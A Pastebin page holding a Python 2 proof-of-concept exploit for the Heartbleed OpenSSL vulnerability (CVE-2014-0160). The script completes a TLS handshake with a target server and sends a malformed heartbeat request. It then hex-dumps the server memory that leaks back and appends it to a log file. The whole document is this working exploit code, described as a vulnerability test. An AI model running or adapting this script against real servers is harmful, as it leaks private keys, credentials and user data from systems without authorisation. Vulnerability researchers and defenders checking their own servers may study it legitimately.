complann

Heartbleed

Apr 10th, 2014
1,167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.99 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  4. # The author disclaims copyright to this source code.
  5.  
  6. import sys
  7. import struct
  8. import socket
  9. import time
  10. import select
  11. import re
  12. from optparse import OptionParser
  13.  
  14. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  15. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  16. options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
  17. options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
  18.  
  19. def h2bin(x):
  20.     return x.replace(' ', '').replace('\n', '').decode('hex')
  21.  
  22. hello = h2bin('''
  23. 16 03 02 00  dc 01 00 00 d8 03 02 53
  24. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  25. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  26. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  27. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  28. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  29. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  30. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  31. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  32. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  33. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  34. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  35. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  36. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  37. 00 0f 00 01 01                                  
  38. ''')
  39.  
  40. hb = h2bin('''
  41. 18 03 02 00 03
  42. 01 40 00
  43. ''')
  44.  
  45. def hexdump(s):
  46.     for b in xrange(0, len(s), 16):
  47.         lin = [c for c in s[b : b + 16]]
  48.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  49.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  50.         cut('%04x: %-48s %s' % (b, hxdat, pdat))            
  51.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  52.     print
  53.  
  54.  
  55. def cut(isi):
  56.     fh = open("log.txt", "a")
  57.    
  58.     fh.write(isi + "\n")
  59.     fh.close()
  60.     return
  61.    
  62. def recvall(s, length, timeout=5):
  63.     endtime = time.time() + timeout
  64.     rdata = ''
  65.     remain = length
  66.     while remain > 0:
  67.         rtime = endtime - time.time()
  68.         if rtime < 0:
  69.             return None
  70.         r, w, e = select.select([s], [], [], 5)
  71.         if s in r:
  72.             data = s.recv(remain)
  73.             # EOF?
  74.             if not data:
  75.                 return None
  76.             rdata += data
  77.             remain -= len(data)
  78.     return rdata
  79.        
  80.  
  81. def recvmsg(s):
  82.     hdr = recvall(s, 5)
  83.     if hdr is None:
  84.         print 'Unexpected EOF receiving record header - server closed connection'
  85.         return None, None, None
  86.     typ, ver, ln = struct.unpack('>BHH', hdr)
  87.     pay = recvall(s, ln, 10)
  88.     if pay is None:
  89.         print 'Unexpected EOF receiving record payload - server closed connection'
  90.         return None, None, None
  91.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  92.     return typ, ver, pay
  93.  
  94. def hit_hb(s):
  95.     s.send(hb)
  96.     while True:
  97.         typ, ver, pay = recvmsg(s)
  98.         if typ is None:
  99.             print 'No heartbeat response received, server likely not vulnerable'
  100.             return False
  101.  
  102.         if typ == 24:
  103.             print 'Received heartbeat response:'
  104.             open('log.txt', 'w').close()
  105.             hexdump(pay)
  106.            
  107.             if len(pay) > 3:
  108.                 print 'WARNING: server is vulnerable! | Check Log.txt'
  109.  
  110.             else:
  111.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  112.             return True
  113.  
  114.         if typ == 21:
  115.             print 'Received alert:'
  116.             hexdump(pay)
  117.             print 'Server returned error, likely not vulnerable'
  118.             return False
  119.  
  120. def main():
  121.     opts, args = options.parse_args()
  122.     if len(args) < 1:
  123.         options.print_help()
  124.         return
  125.  
  126.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  127.     print 'Connecting...'
  128.     sys.stdout.flush()
  129.     s.connect((args[0], opts.port))
  130.  
  131.     if opts.starttls:
  132.         re = s.recv(4096)
  133.         if opts.debug: print re
  134.         s.send('ehlo starttlstest\n')
  135.         re = s.recv(1024)
  136.         if opts.debug: print re
  137.         if not 'STARTTLS' in re:
  138.             if opts.debug: print re
  139.             print 'STARTTLS not supported...'
  140.             sys.exit(0)
  141.         s.send('starttls\n')
  142.         re = s.recv(1024)
  143.    
  144.     print 'Sending Client Hello...'
  145.     sys.stdout.flush()
  146.     s.send(hello)
  147.     print 'Waiting for Server Hello...'
  148.     sys.stdout.flush()
  149.     while True:
  150.         typ, ver, pay = recvmsg(s)
  151.         if typ == None:
  152.             print 'Server closed connection without sending Server Hello.'
  153.             return
  154.         # Look for server hello done message.
  155.         if typ == 22 and ord(pay[0]) == 0x0E:
  156.             break
  157.  
  158.     print 'Sending heartbeat request...'
  159.     sys.stdout.flush()
  160.     s.send(hb)
  161.     hit_hb(s)
  162.  
  163. if __name__ == '__main__':
  164.     main()
Advertisement
Add Comment
Please, Sign In to add comment